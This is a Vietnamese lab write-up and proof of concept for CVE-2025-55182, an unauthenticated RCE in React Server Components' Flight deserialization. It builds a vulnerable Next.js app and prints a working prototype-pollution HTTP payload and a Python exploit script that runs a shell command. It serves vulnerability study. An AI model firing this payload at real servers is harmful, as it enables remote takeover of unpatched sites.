---
# System prepended metadata

title: CVE-2025-55182 Analyst and POC

---

# CVE-2025-55182 Analyst and POC

### Tổng quan về CVE-2025-55182

**CVE-2025-55182 (React2Shell)** là lỗ hổng RCE nghiêm trọng (CVSS 10.0) trong **React Server Components (RSC)** và giao thức “Flight”. Kẻ tấn công có thể gửi HTTP request độc hại để thực thi mã từ xa trên server mà không cần xác thực.

- **Mã CVE** : CVE-2025-55182
- **Điểm CVSS** : 10.0 **(Critical)**
- **Bản vá** : Nâng cấp lên React 19.0.1, 19.1.2, 19.2.1+ và cập nhật framework tương ứng.
- **Root Cause** : Deserialization không an toàn trong Flight protocol của RSC, cho phép payload giả mạo được diễn giải thành đối tượng nội bộ và thực thi lệnh (RCE).
- **Ảnh hưởng** : React 19.0.0, 19.1.0, 19.1.1, 19.2.0; các gói react-server-dom-{webpack, parcel, turbopack}; nhiều framework như Next.js (15.x, 16.x, 14.x Canary), Redwood, Waku, Vite, Parcel…
- **Khuyến nghị** : Cập nhật phiên bản vá; bật/tinh chỉnh WAF cho payload RSC; rà soát log, payload Flight; giám sát lưu lượng edge.
- Hiểu đúng thì cái lỗ hổng này nó là một cái **exploit chain** bao gồm : **Insecure Deserialize -> Prototype Pollution -> Remote Access Control**.

### Các thành phần của React

#### React Server Action

**React Server Actions (nay gọi là Server Functions)** là cơ chế cho phép component phía client gọi trực tiếp hàm async chạy trên server. Nó sinh ra để giúp việc xử lý form, gọi API, và cập nhật dữ liệu diễn ra mượt mà, không cần viết thêm endpoint REST/GraphQL thủ công.

```javascript
// app/actions.js
'use server'
export async function submitForm(formData) {
  const name = formData.get('name')
  await db.users.create({ name })
  return { success: true }
}
```

```javascript
// app/page.jsx
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  )
}
```

![image](https://hackmd.io/_uploads/HJbb-muf-l.png)

#### Flight Protocol

**Flight Protocol** là một định dạng truyền dữ liệu đặc biệt mà React dùng để gửi thông tin từ server sang client khi render **Server Components**.

**Cách hoạt động**:
- Khi client submit form hoặc gọi **Server Action**, dữ liệu được serialize thành các chunk có ký hiệu đặc biệt (ví dụ: $@ cho chunk reference, $B cho blob reference).
- Server nhận request, **deserialize** dữ liệu, thực thi hàm server, rồi trả về kết quả cũng dưới dạng **Flight-encoded response**.
- Client đọc response, cập nhật lại UI.

### CVE-2025-55182 Build

Lỗ hổng này nằm trong cách **React Server Components (RSC)** xử lý **deserialization** trong các phiên bản **React 19.0.0 đến 19.2.0**. Cách nhanh nhất để dựng là sử dụng **Next.js** phiên bản cũ **(v15.0.0 - v15.0.3)** vì nó bundle sẵn các phiên bản React lỗi này.

#### Bước 1 : 

```bash
# Tạo folder mới
mkdir cve-2025-55182-lab
cd cve-2025-55182-lab

# Khởi tạo project Next.js phiên bản 15.0.0 (Phiên bản này dùng React 19-rc có lỗi)
npx create-next-app@15.0.0 vulnerable-app
```

Khi được hỏi, hãy chọn:

- **TypeScript**: Yes
- **ESLint**: Yes
- **Tailwind CSS**: No (không quan trọng)
- **src/ directory**: Yes
- **App Router**: YES (Bắt buộc vì lỗ hổng nằm ở RSC)
- **Turbopack**: No

#### Bước 2 : 

Tạo code demo chỉ cần Server Action hoặc cơ chế RSC hoạt động.

```TSX 
// app/page.tsx
import { myAction } from "./actions";

export default function Home() {
    return (
        <form action={myAction}>
            {/* Nút này sẽ gửi request kích hoạt Server Action */}
            <button type="submit">Submit</button>
        </form>
    );
}
```

```TSX 
// app/actions.ts
'use server'

// Sửa 'any' thành 'FormData'
export async function myAction(data: FormData) {
    // Để lấy dữ liệu bên trong, bạn dùng phương thức .get()
    const rawData = Object.fromEntries(data);
    console.log("Action called", rawData);
}
```

#### Bước 3 : 

Chạy server: 

```bash 
npm run dev
```

Server sẽ chạy tại http://localhost:3000.

![image](https://hackmd.io/_uploads/rkDo41vf-g.png)

Build xong thì vào project check lại dependency để chắc rằng phiên bản đã đúng với phiên bản dính lỗi chưa được vá.

### Debug and POC

Sau khi build thì web app sẽ có một nút để click đó là `Submit` sau khi click thì nó sẽ gửi request kích hoạt đến `Server Action`.

![image](https://hackmd.io/_uploads/B1bB1rPfWx.png)

Sau khi click xong submit và bắt request thì mình có được request sau : 

![image](https://hackmd.io/_uploads/SJMIlBPzbe.png)

Đây là cú pháp của Flight, Nó hoạt động theo dạng dòng (stream based):
- `0:`: Định nghĩa ID số 0.
- `$@1`: Đây là một tham chiếu (reference). Nó bảo React Client rằng: "Hãy lấy giá trị ở dòng có ID là 1 nhét vào chỗ này".
- `1:"$undefined"`: Định nghĩa dòng số 1 có giá trị là undefined.

#### Phần Request (Gửi đi)

- **POST /**: Server Actions trong Next.js App Router luôn gửi request POST về chính URL hiện tại (hoặc URL của page chứa action).
- **Header Next-Action**: 318330...: Đây là thành phần quan trọng nhất.
    - Chuỗi ký tự dài ngoằng đó là ID định danh cho hàm **myAction** trong file **app/actions.ts**.
    - Khi **server** nhận được ID này, nó biết chính xác cần chạy hàm nào.
- **Header Content-Type**: multipart/form-data :
    - Do code của bạn dùng thẻ HTML `<form>`, trình duyệt mặc định đóng gói dữ liệu theo chuẩn form data.
- **Body** (Dòng 20-27) : 
    - **name="1_$ACTION\_ID\_..."** : Đây là cách Next.js đánh dấu rằng dữ liệu này thuộc về Action ID kia. Số **1\_** là chỉ số tham chiếu nội bộ.
    - **["$K1"]**: Đây là dữ liệu nội bộ của Next.js (Flight protocol serialization). $K1 thường ám chỉ một key tham chiếu đến dữ liệu của Form (FormData). Trong trường hợp này, vì form của bạn không có input nào (chỉ có nút submit), nên nó gửi lên một tham chiếu key rỗng hoặc mặc định.

#### Phần Response (Trả về)

- **Header Content-Type: text/x-component** : 
    - Đây là dấu hiệu nhận biết của **React Server Components (RSC)**. Server không trả về HTML, mà trả về luồng dữ liệu (stream) để React ở client tự cập nhật giao diện.
- **Body (Dòng 11): 1:"$undefined"** : 
    - **1:**: Là ID của luồng phản hồi tương ứng với Action bạn vừa gọi.
    - `"$undefined"`: Vì hàm **myAction** của tôi chỉ có **console.log** mà không có câu lệnh return, nên mặc định nó trả về undefined. **React serialize** giá trị này thành chuỗi "$undefined".
    - Nếu sửa code thành return **"Hello World"**, chỗ này sẽ hiện 1:"Hello World".

Bình thường, server trả về HTML để trình duyệt hiển thị. Nhưng trong kiến trúc Next.js App Router (sử dụng React Server Components), server trả về một định dạng text đặc biệt (Flight format).

#### Exploit payload

Tại đây tôi sử dụng **payload**, đây là một cuộc tấn công **Remote Code Execution (RCE)** – Thực thi mã từ xa, thông qua kỹ thuật **Prototype Pollution** hoặc **Insecure Deserialization**.

```Javascript 
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: 318330ebf1472740c411f5216c7fa0bd2e482c79
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('calc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

![image](https://hackmd.io/_uploads/S1tziI_zZl.png)

#### Giải thích payload

**Định dạng Multipart/Form-data** :
- Attacker gửi dữ liệu dưới dạng **form upload** (thường dùng để upload file), nhưng nội dung bên trong lại là JSON được cấu trúc đặc biệt.

**Prototype Pollution & Gadget Chain** :
- Payload này cố gắng lợi dụng cách mà máy chủ xử lý (parse) các đối tượng JSON lồng nhau hoặc các tham chiếu vòng (circular references).

**\_\_proto_\_ và constructor** :
- Trong đoạn "then":"$1:\_\_proto_\_\:then" và "get":"$1:constructor:constructor", attacker đang cố gắng truy cập vào Object.prototype hoặc Function constructor.

**Cấu trúc $1 và $@0** : 
- Các ký hiệu này thường thấy trong các thư viện xử lý JSON hỗ trợ tham chiếu vòng (như thư viện flatted hoặc các logic tự viết để "unflatten" dữ liệu). Nó bảo với bộ phân tích cú pháp rằng: "Hãy lấy giá trị ở vị trí số 1 và gán vào đây".

**Promise / Thenable (then)** : 
- Việc sử dụng key "then" và "status": "resolved_model" cho thấy attacker đang cố gắng đánh lừa ứng dụng rằng đây là một Promise (lời hứa). Khi một thư viện xử lý bất đồng bộ gặp một object có hàm .then(), nó sẽ cố gắng thực thi hàm đó.

**Cơ chế "Thenable" (Lời hứa giả)** : 
- React Server Components xử lý rất nhiều tác vụ bất đồng bộ (Async/Await).
- Khi React deserializes (giải nén) dữ liệu, nếu nó gặp một object có thuộc tính tên là then, nó sẽ nghi ngờ đây là một Promise.
- React sẽ cố gắng "giải quyết" (resolve) Promise này bằng cách gọi hàm then.

```python 
import requests

TARGET_URL = "http://localhost:3000/"
ACTION_ID = "318330ebf1472740c411f5216c7fa0bd2e482c79"

payload_str = r'''{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('calc');","_formData":{"get":"$1:constructor:constructor"}}}'''

headers = {
    "User-Agent": "Mozilla/5.0",
    "Next-Action": ACTION_ID,
    "Accept": "text/x-component",
    "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D"
}

files = {
    '0': (None, payload_str),

    '1': (None, '"$@0"')
}

try:
    print("[*] Sending payload...")
    res = requests.post(TARGET_URL, headers=headers, files=files)
    print(f"[*] Response Code: {res.status_code}")
except Exception as e:
    print(e)
    print(e)
```

![image](https://hackmd.io/_uploads/HySUGPOzZe.png)

Thành công tạo script exploit.